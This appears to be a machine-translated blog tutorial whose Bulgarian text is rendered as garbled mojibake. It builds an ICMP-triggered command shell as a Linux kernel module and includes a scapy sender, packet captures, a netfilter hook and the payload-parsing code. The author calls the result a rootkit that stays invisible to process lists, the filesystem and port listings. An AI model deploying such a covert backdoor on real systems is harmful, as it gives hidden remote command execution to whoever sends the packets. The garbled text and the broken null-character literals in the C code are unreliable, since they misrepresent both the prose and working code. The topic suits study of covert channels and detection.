Π―Π΄Ρ€Π΅Π½Π° ΠΎΠ±Π²ΠΈΠ²ΠΊΠ° Π½Π°Π΄ ICMP

Π―Π΄Ρ€Π΅Π½Π° ΠΎΠ±Π²ΠΈΠ²ΠΊΠ° Π½Π°Π΄ ICMP

TL; DR: Пиша ΠΌΠΎΠ΄ΡƒΠ» Π½Π° ядрото, ΠΊΠΎΠΉΡ‚ΠΎ Ρ‰Π΅ Ρ‡Π΅Ρ‚Π΅ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ ΠΎΡ‚ ICMP полСзния Ρ‚ΠΎΠ²Π°Ρ€ ΠΈ Ρ‰Π΅ Π³ΠΈ изпълнява Π½Π° ΡΡŠΡ€Π²ΡŠΡ€Π°, Π΄ΠΎΡ€ΠΈ Π°ΠΊΠΎ Π²Π°ΡˆΠΈΡΡ‚ SSH сС сринС. Π—Π° Π½Π°ΠΉ-Π½Π΅Ρ‚ΡŠΡ€ΠΏΠ΅Π»ΠΈΠ²ΠΈΡ‚Π΅, цСлият ΠΊΠΎΠ΄ Π΅ GitHub.

Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅! ΠžΠΏΠΈΡ‚Π½ΠΈΡ‚Π΅ C програмисти рискуват Π΄Π° ΠΈΠ·Π±ΡƒΡ…Π½Π°Ρ‚ Π² ΠΊΡŠΡ€Π²Π°Π²ΠΈ сълзи! МоТС Π΄ΠΎΡ€ΠΈ Π΄Π° Π³Ρ€Π΅ΡˆΠ° Π² тСрминологията, Π½ΠΎ всяка ΠΊΡ€ΠΈΡ‚ΠΈΠΊΠ° Π΅ Π΄ΠΎΠ±Ρ€Π΅ дошла. ΠŸΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΡΡ‚Π° Π΅ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π° Π·Π° Ρ‚Π΅Π·ΠΈ, ΠΊΠΎΠΈΡ‚ΠΎ ΠΈΠΌΠ°Ρ‚ ΠΌΠ½ΠΎΠ³ΠΎ Π³Ρ€ΡƒΠ±Π° прСдстава Π·Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΈΡ€Π°Π½Π΅Ρ‚ΠΎ Π½Π° C ΠΈ искат Π΄Π° Π½Π°Π΄Π½ΠΈΠΊΠ½Π°Ρ‚ Π² Π²ΡŠΡ‚Ρ€Π΅ΡˆΠ½ΠΎΡΡ‚Ρ‚Π° Π½Π° Linux.

Π’ ΠΊΠΎΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΡ‚Π΅ към ΠΏΡŠΡ€Π²ΠΈΡ ΠΌΠΈ Бтатия спомСна SoftEther VPN, ΠΊΠΎΠΉΡ‚ΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΈΠΌΠΈΡ‚ΠΈΡ€Π° някои β€žΠΎΠ±ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈβ€œ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΈ, ΠΏΠΎ-спСциално HTTPS, ICMP ΠΈ Π΄ΠΎΡ€ΠΈ DNS. Мога Π΄Π° си прСдставя само ΠΏΡŠΡ€Π²ΠΈΡ ΠΎΡ‚ тях Π΄Π° Ρ€Π°Π±ΠΎΡ‚ΠΈ, Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ съм ΠΌΠ½ΠΎΠ³ΠΎ Π·Π°ΠΏΠΎΠ·Π½Π°Ρ‚ с HTTP(S) ΠΈ Ρ‚Ρ€ΡΠ±Π²Π°ΡˆΠ΅ Π΄Π° Π½Π°ΡƒΡ‡Π° Ρ‚ΡƒΠ½Π΅Π»ΠΈΡ€Π°Π½Π΅ ΠΏΡ€Π΅Π· ICMP ΠΈ DNS.

Π―Π΄Ρ€Π΅Π½Π° ΠΎΠ±Π²ΠΈΠ²ΠΊΠ° Π½Π°Π΄ ICMP

Π”Π°, ΠΏΡ€Π΅Π· 2020 Π³. Π½Π°ΡƒΡ‡ΠΈΡ…, Ρ‡Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° Π²ΠΌΡŠΠΊΠ½Π΅Ρ‚Π΅ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»Π΅Π½ ΠΏΠΎΠ»Π΅Π·Π΅Π½ Ρ‚ΠΎΠ²Π°Ρ€ Π² ICMP ΠΏΠ°ΠΊΠ΅Ρ‚ΠΈ. Но ΠΏΠΎ-Π΄ΠΎΠ±Ρ€Π΅ късно ΠΎΡ‚ΠΊΠΎΠ»ΠΊΠΎΡ‚ΠΎ Π½ΠΈΠΊΠΎΠ³Π°! И Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ Π½Π΅Ρ‰ΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° сС Π½Π°ΠΏΡ€Π°Π²ΠΈ ΠΏΠΎ Π²ΡŠΠΏΡ€ΠΎΡΠ°, Π·Π½Π°Ρ‡ΠΈ трябва Π΄Π° сС Π½Π°ΠΏΡ€Π°Π²ΠΈ. Въй ΠΊΠ°Ρ‚ΠΎ Π² Π΅ΠΆΠ΅Π΄Π½Π΅Π²ΠΈΠ΅Ρ‚ΠΎ си Π½Π°ΠΉ-чСсто ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌ командния Ρ€Π΅Π΄, Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»Π½ΠΎ ΠΈ ΠΏΡ€Π΅Π· SSH, ΠΏΡŠΡ€Π²ΠΎ ΠΌΠΈ Ρ…Ρ€ΡƒΠΌΠ½Π° идСята Π·Π° ICMP shell. И Π·Π° Π΄Π° сглобя цялостно Π±ΠΈΠ½Π³ΠΎ Π·Π° Π±ΠΈΠΊΠΎΠ²Π΅, Ρ€Π΅ΡˆΠΈΡ… Π΄Π° Π³ΠΎ напиша ΠΊΠ°Ρ‚ΠΎ Linux ΠΌΠΎΠ΄ΡƒΠ» Π½Π° Π΅Π·ΠΈΠΊ, Π·Π° ΠΊΠΎΠΉΡ‚ΠΎ ΠΈΠΌΠ°ΠΌ само Π³Ρ€ΡƒΠ±Π° прСдстава. Π’Π°ΠΊΠ°Π²Π° ΠΎΠ±Π²ΠΈΠ²ΠΊΠ° няма Π΄Π° сС Π²ΠΈΠΆΠ΄Π° Π² списъка с процСси, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° я Π·Π°Ρ€Π΅Π΄ΠΈΡ‚Π΅ Π² ядрото ΠΈ няма Π΄Π° бъдС във Ρ„Π°ΠΉΠ»ΠΎΠ²Π°Ρ‚Π° систСма, няма Π΄Π° Π²ΠΈΠ΄ΠΈΡ‚Π΅ Π½ΠΈΡ‰ΠΎ ΠΏΠΎΠ΄ΠΎΠ·Ρ€ΠΈΡ‚Π΅Π»Π½ΠΎ Π² списъка с ΡΠ»ΡƒΡˆΠ°Ρ‰ΠΈ ΠΏΠΎΡ€Ρ‚ΠΎΠ²Π΅. По ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ Π½Π° Π²ΡŠΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΠΈΡ‚Π΅ си, Ρ‚ΠΎΠ²Π° Π΅ ΠΏΡŠΠ»Π½ΠΎΡ†Π΅Π½Π΅Π½ Ρ€ΡƒΡ‚ΠΊΠΈΡ‚, Π½ΠΎ сС надявам Π΄Π° Π³ΠΎ подобря ΠΈ Π΄Π° Π³ΠΎ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌ ΠΊΠ°Ρ‚ΠΎ ΠΎΠ±Π²ΠΈΠ²ΠΊΠ° Π² послСдна инстанция, ΠΊΠΎΠ³Π°Ρ‚ΠΎ срСдното Π½Π°Ρ‚ΠΎΠ²Π°Ρ€Π²Π°Π½Π΅ Π΅ Ρ‚Π²ΡŠΡ€Π΄Π΅ високо, Π·Π° Π΄Π° Π²Π»Π΅Π·Π΅Ρ‚Π΅ ΠΏΡ€Π΅Π· SSH ΠΈ Π΄Π° ΠΈΠ·ΠΏΡŠΠ»Π½ΠΈΡ‚Π΅ ΠΏΠΎΠ½Π΅ echo i > /proc/sysrq-triggerΠ·Π° Π²ΡŠΠ·ΡΡ‚Π°Π½ΠΎΠ²ΡΠ²Π°Π½Π΅ Π½Π° Π΄ΠΎΡΡ‚ΡŠΠΏΠ° Π±Π΅Π· рСстартиранС.

Π’Π·ΠΈΠΌΠ°ΠΌΠ΅ тСкстов Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€, основни умСния Π·Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΈΡ€Π°Π½Π΅ Π½Π° Python ΠΈ C, Google ΠΈ Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»Π΅Π½ ΠΊΠΎΠΈΡ‚ΠΎ няматС Π½ΠΈΡ‰ΠΎ ΠΏΡ€ΠΎΡ‚ΠΈΠ² Π΄Π° Ρ…Π²ΡŠΡ€Π»ΠΈΡ‚Π΅ ΠΏΠΎΠ΄ Π½ΠΎΠΆΠ°, Π°ΠΊΠΎ всичко сС счупи (ΠΏΠΎ ΠΈΠ·Π±ΠΎΡ€ - Π»ΠΎΠΊΠ°Π»Π΅Π½ VirtualBox/KVM/ΠΈ Ρ‚.Π½.) ΠΈ Π΄Π° Ρ‚Ρ€ΡŠΠ³Π²Π°ΠΌΠ΅!

ΠšΠ»ΠΈΠ΅Π½Ρ‚ΡΠΊΠ° страна

Π‘Ρ‚Ρ€ΡƒΠ²Π°ΡˆΠ΅ ΠΌΠΈ сС, Ρ‡Π΅ Π·Π° клиСнтската част Ρ‰Π΅ трябва Π΄Π° напиша скрипт с ΠΎΠΊΠΎΠ»ΠΎ 80 Ρ€Π΅Π΄Π°, Π½ΠΎ имашС ΠΌΠΈΠ»ΠΈ Ρ…ΠΎΡ€Π°, ΠΊΠΎΠΈΡ‚ΠΎ Π³ΠΎ Π½Π°ΠΏΡ€Π°Π²ΠΈΡ…Π° вмСсто ΠΌΠ΅Π½ цялата Ρ€Π°Π±ΠΎΡ‚Π°. ΠšΠΎΠ΄ΡŠΡ‚ сС ΠΎΠΊΠ°Π·Π° Π½Π΅ΠΎΡ‡Π°ΠΊΠ²Π°Π½ΠΎ прост, вписвайки сС Π² 10 Π·Π½Π°Ρ‡ΠΈΠΌΠΈ Ρ€Π΅Π΄Π°:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Π‘ΠΊΡ€ΠΈΠΏΡ‚ΡŠΡ‚ ΠΏΡ€ΠΈΠ΅ΠΌΠ° Π΄Π²Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°, адрСс ΠΈ ΠΏΠΎΠ»Π΅Π·Π΅Π½ Ρ‚ΠΎΠ²Π°Ρ€. ΠŸΡ€Π΅Π΄ΠΈ ΠΈΠ·ΠΏΡ€Π°Ρ‰Π°Π½Π΅ полСзният Ρ‚ΠΎΠ²Π°Ρ€ сС ΠΏΡ€Π΅Π΄Ρ…ΠΎΠΆΠ΄Π° ΠΎΡ‚ ΠΊΠ»ΡŽΡ‡ run:, Ρ‰Π΅ Π½ΠΈ трябва, Π·Π° Π΄Π° ΠΈΠ·ΠΊΠ»ΡŽΡ‡ΠΈΠΌ ΠΏΠ°ΠΊΠ΅Ρ‚ΠΈ с ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»Π½ΠΈ ΠΏΠΎΠ»Π΅Π·Π½ΠΈ натоварвания.

Π―Π΄Ρ€ΠΎΡ‚ΠΎ изисква ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ Π·Π° създаванС Π½Π° ΠΏΠ°ΠΊΠ΅Ρ‚ΠΈ, Ρ‚Π°ΠΊΠ° Ρ‡Π΅ ΡΠΊΡ€ΠΈΠΏΡ‚ΡŠΡ‚ Ρ‰Π΅ трябва Π΄Π° сС изпълнява ΠΊΠ°Ρ‚ΠΎ супСрпотрСбитСл. НС забравяйтС Π΄Π° Π΄Π°Π΄Π΅Ρ‚Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Π·Π° изпълнСниС ΠΈ Π΄Π° инсталиратС самия scapy. Debian ΠΈΠΌΠ° ΠΏΠ°ΠΊΠ΅Ρ‚, Π½Π°Ρ€Π΅Ρ‡Π΅Π½ python3-scapy. Π‘Π΅Π³Π° ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚Π΅ ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚ΠΈ всичко.

ИзпълнСниС ΠΈ ΠΈΠ·Π²Π΅ΠΆΠ΄Π°Π½Π΅ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π°
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Π•Ρ‚ΠΎ ΠΊΠ°ΠΊ ΠΈΠ·Π³Π»Π΅ΠΆΠ΄Π° Π² снифСра
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

ΠŸΠΎΠ»Π΅Π·Π½ΠΈΡΡ‚ Ρ‚ΠΎΠ²Π°Ρ€ Π² ΠΏΠ°ΠΊΠ΅Ρ‚Π° Π·Π° ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€ Π½Π΅ сС промСня.

ΠœΠΎΠ΄ΡƒΠ» Π½Π° ядрото

Π—Π° Π΄Π° Π²Π³Ρ€Π°Π΄ΠΈΡ‚Π΅ Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»Π½Π° машина Π½Π° Debian, Ρ‰Π΅ Π²ΠΈ трябва ΠΏΠΎΠ½Π΅ make ΠΈ linux-headers-amd64, останалото Ρ‰Π΅ Π΄ΠΎΠΉΠ΄Π΅ ΠΏΠΎΠ΄ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° Π½Π° зависимости. Няма Π΄Π° прСдоставя цСлия ΠΊΠΎΠ΄ Π² статията; ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° Π³ΠΎ ΠΊΠ»ΠΎΠ½ΠΈΡ€Π°Ρ‚Π΅ Π² Github.

Настройка Π½Π° ΠΊΡƒΠΊΠ°Ρ‚Π°

ΠšΠ°Ρ‚ΠΎ Π½Π°Ρ‡Π°Π»ΠΎ ΠΈΠΌΠ°ΠΌΠ΅ Π½ΡƒΠΆΠ΄Π° ΠΎΡ‚ Π΄Π²Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π·Π° Π΄Π° Π·Π°Ρ€Π΅Π΄ΠΈΠΌ ΠΌΠΎΠ΄ΡƒΠ»Π° ΠΈ Π΄Π° Π³ΠΎ Ρ€Π°Π·Ρ‚ΠΎΠ²Π°Ρ€ΠΈΠΌ. Ѐункцията Π·Π° Ρ€Π°Π·Ρ‚ΠΎΠ²Π°Ρ€Π²Π°Π½Π΅ Π½Π΅ Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠ°, Π½ΠΎ Ρ‚ΠΎΠ³Π°Π²Π° rmmod няма Π΄Π° Ρ€Π°Π±ΠΎΡ‚ΠΈ; ΠΌΠΎΠ΄ΡƒΠ»ΡŠΡ‚ Ρ‰Π΅ сС Ρ€Π°Π·Ρ‚ΠΎΠ²Π°Ρ€ΠΈ само ΠΊΠΎΠ³Π°Ρ‚ΠΎ Π΅ ΠΈΠ·ΠΊΠ»ΡŽΡ‡Π΅Π½.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Какво става Ρ‚ΡƒΠΊ:

  1. Π”Π²Π° Π·Π°Π³Π»Π°Π²Π½ΠΈ Ρ„Π°ΠΉΠ»Π° сС изтСглят, Π·Π° Π΄Π° ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€Π°Ρ‚ самия ΠΌΠΎΠ΄ΡƒΠ» ΠΈ netfilter.
  2. Всички ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ ΠΌΠΈΠ½Π°Π²Π°Ρ‚ ΠΏΡ€Π΅Π· Π½Π΅Ρ‚Ρ„ΠΈΠ»Ρ‚ΡŠΡ€, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° Π·Π°Π΄Π°Π΄Π΅Ρ‚Π΅ ΠΊΡƒΠΊΠΈ Π² Π½Π΅Π³ΠΎ. Π—Π° Π΄Π° Π½Π°ΠΏΡ€Π°Π²ΠΈΡ‚Π΅ Ρ‚ΠΎΠ²Π°, трябва Π΄Π° Π΄Π΅ΠΊΠ»Π°Ρ€ΠΈΡ€Π°Ρ‚Π΅ структурата, Π² която Ρ‰Π΅ бъдС ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€Π°Π½ ΠΊΡƒΠΊΠ°Ρ‚Π°. Най-Π²Π°ΠΆΠ½ΠΎΡ‚ΠΎ Π΅ Π΄Π° посочитС функцията, която Ρ‰Π΅ бъдС изпълнСна ΠΊΠ°Ρ‚ΠΎ ΠΊΡƒΠΊΠ°: nfho.hook = icmp_cmd_executor; Π©Π΅ стигна Π΄ΠΎ самата функция ΠΏΠΎ-късно.
    Π‘Π»Π΅Π΄ Ρ‚ΠΎΠ²Π° Π·Π°Π΄Π°Π²Π°ΠΌ Π²Ρ€Π΅ΠΌΠ΅Ρ‚ΠΎ Π·Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° ΠΏΠ°ΠΊΠ΅Ρ‚Π°: NF_INET_PRE_ROUTING ΡƒΠΊΠ°Π·Π²Π° Π΄Π° сС ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΈ ΠΏΠ°ΠΊΠ΅Ρ‚ΡŠΡ‚, ΠΊΠΎΠ³Π°Ρ‚ΠΎ сС появи Π·Π° ΠΏΡŠΡ€Π²ΠΈ ΠΏΡŠΡ‚ Π² ядрото. МоТС Π΄Π° сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° NF_INET_POST_ROUTING Π·Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° ΠΏΠ°ΠΊΠ΅Ρ‚Π° ΠΏΡ€ΠΈ ΠΈΠ·Π»ΠΈΠ·Π°Π½Π΅ ΠΎΡ‚ ядрото.
    Настроих Ρ„ΠΈΠ»Ρ‚ΡŠΡ€Π° Π½Π° IPv4: nfho.pf = PF_INET;.
    Π”Π°Π²Π°ΠΌ Π½Π° моята ΠΊΡƒΠΊΠ° Π½Π°ΠΉ-висок ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚: nfho.priority = NF_IP_PRI_FIRST;
    И рСгистрирам структурата ΠΎΡ‚ Π΄Π°Π½Π½ΠΈ ΠΊΠ°Ρ‚ΠΎ дСйствитСлната ΠΊΡƒΠΊΠ°: nf_register_net_hook(&init_net, &nfho);
  3. ΠŸΠΎΡΠ»Π΅Π΄Π½Π°Ρ‚Π° функция ΠΏΡ€Π΅ΠΌΠ°Ρ…Π²Π° ΠΊΡƒΠΊΠ°Ρ‚Π°.
  4. Π›ΠΈΡ†Π΅Π½Π·ΡŠΡ‚ Π΅ ясно ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π΅Π½, Π·Π° Π΄Π° Π½Π΅ сС ΠΎΠΏΠ»Π°ΠΊΠ²Π° ΠΊΠΎΠΌΠΏΠΈΠ»Π°Ρ‚ΠΎΡ€ΡŠΡ‚.
  5. Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ module_init() ΠΈ module_exit() Π·Π°Π΄Π°ΠΉΡ‚Π΅ Π΄Ρ€ΡƒΠ³ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π·Π° ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€Π°Π½Π΅ ΠΈ прСкратяванС Π½Π° ΠΌΠΎΠ΄ΡƒΠ»Π°.

Π˜Π·Π²Π»ΠΈΡ‡Π°Π½Π΅ Π½Π° полСзния Ρ‚ΠΎΠ²Π°Ρ€

Π‘Π΅Π³Π° трябва Π΄Π° ΠΈΠ·Π²Π»Π΅Ρ‡Π΅ΠΌ полСзния Ρ‚ΠΎΠ²Π°Ρ€, Ρ‚ΠΎΠ²Π° сС ΠΎΠΊΠ°Π·Π° Π½Π°ΠΉ-Ρ‚Ρ€ΡƒΠ΄Π½Π°Ρ‚Π° Π·Π°Π΄Π°Ρ‡Π°. Π―Π΄Ρ€ΠΎΡ‚ΠΎ няма Π²Π³Ρ€Π°Π΄Π΅Π½ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π·Π° Ρ€Π°Π±ΠΎΡ‚Π° с ΠΏΠΎΠ»Π΅Π·Π½ΠΈ Ρ‚ΠΎΠ²Π°Ρ€ΠΈ; ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€Π°Ρ‚Π΅ само Π·Π°Π³Π»Π°Π²ΠΊΠΈ Π½Π° ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΈ ΠΎΡ‚ ΠΏΠΎ-високо Π½ΠΈΠ²ΠΎ.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Какво сС случва:

  1. Π’Ρ€ΡΠ±Π²Π°ΡˆΠ΅ Π΄Π° Π²ΠΊΠ»ΡŽΡ‡Π° Π΄ΠΎΠΏΡŠΠ»Π½ΠΈΡ‚Π΅Π»Π½ΠΈ Π·Π°Π³Π»Π°Π²Π½ΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅, Ρ‚ΠΎΠ·ΠΈ ΠΏΡŠΡ‚ Π·Π° ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€Π°Π½Π΅ Π½Π° IP ΠΈ ICMP Π·Π°Π³Π»Π°Π²ΠΊΠΈ.
  2. Π—Π°Π΄Π°Π΄ΠΎΡ… максималната дълТина Π½Π° Ρ€Π΅Π΄Π°: #define MAX_CMD_LEN 1976. Π—Π°Ρ‰ΠΎ Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚ΠΎΠ²Π°? Π—Π°Ρ‰ΠΎΡ‚ΠΎ ΠΊΠΎΠΌΠΏΠΈΠ»Π°Ρ‚ΠΎΡ€ΡŠΡ‚ сС ΠΎΠΏΠ»Π°ΠΊΠ²Π° ΠΎΡ‚ Ρ‚ΠΎΠ²Π°! Π’Π΅ Π²Π΅Ρ‡Π΅ ΠΌΠΈ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΡ…Π°, Ρ‡Π΅ трябва Π΄Π° Ρ€Π°Π·Π±Π΅Ρ€Π° стСка ΠΈ ΠΊΡƒΠΏΡ‡ΠΈΠ½Π°Ρ‚Π°, някой Π΄Π΅Π½ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ Ρ‰Π΅ направя Ρ‚ΠΎΠ²Π° ΠΈ ΠΌΠΎΠΆΠ΅ Π±ΠΈ Π΄ΠΎΡ€ΠΈ Ρ‰Π΅ ΠΊΠΎΡ€ΠΈΠ³ΠΈΡ€Π°ΠΌ ΠΊΠΎΠ΄Π°. Π’Π΅Π΄Π½Π°Π³Π° Π·Π°Π΄Π°Π²Π°ΠΌ Ρ€Π΅Π΄Π°, ΠΊΠΎΠΉΡ‚ΠΎ Ρ‰Π΅ ΡΡŠΠ΄ΡŠΡ€ΠΆΠ° ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π°: char cmd_string[MAX_CMD_LEN];. Врябва Π΄Π° сС Π²ΠΈΠΆΠ΄Π° във всички Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ; Ρ‰Π΅ говоря Π·Π° Ρ‚ΠΎΠ²Π° ΠΏΠΎ-ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ Π² ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ 9.
  3. Π‘Π΅Π³Π° трябва Π΄Π° ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€Π°ΠΌΠ΅ (struct work_struct my_work;) структура ΠΈ я ΡΠ²ΡŠΡ€ΠΆΠ΅Ρ‚Π΅ с Π΄Ρ€ΡƒΠ³Π° функция (DECLARE_WORK(my_work, work_handler);). Π©Π΅ говоря ΠΈ Π·Π°Ρ‰ΠΎ Ρ‚ΠΎΠ²Π° Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π² дСвСтия ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„.
  4. Π‘Π΅Π³Π° Π΄Π΅ΠΊΠ»Π°Ρ€ΠΈΡ€Π°ΠΌ функция, която Ρ‰Π΅ бъдС ΠΊΡƒΠΊΠ°. Π’ΠΈΠΏΡŠΡ‚ ΠΈ ΠΏΡ€ΠΈΠ΅Ρ‚ΠΈΡ‚Π΅ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΈ сС Π΄ΠΈΠΊΡ‚ΡƒΠ²Π°Ρ‚ ΠΎΡ‚ netfilter, Π½ΠΈΠ΅ сС интСрСсувамС само ΠΎΡ‚ Π½Π΅Π³ΠΎ skb. Π’ΠΎΠ²Π° Π΅ Π±ΡƒΡ„Π΅Ρ€ Π½Π° сокСт, основна структура ΠΎΡ‚ Π΄Π°Π½Π½ΠΈ, която ΡΡŠΠ΄ΡŠΡ€ΠΆΠ° цялата Π½Π°Π»ΠΈΡ‡Π½Π° информация Π·Π° ΠΏΠ°ΠΊΠ΅Ρ‚Π°.
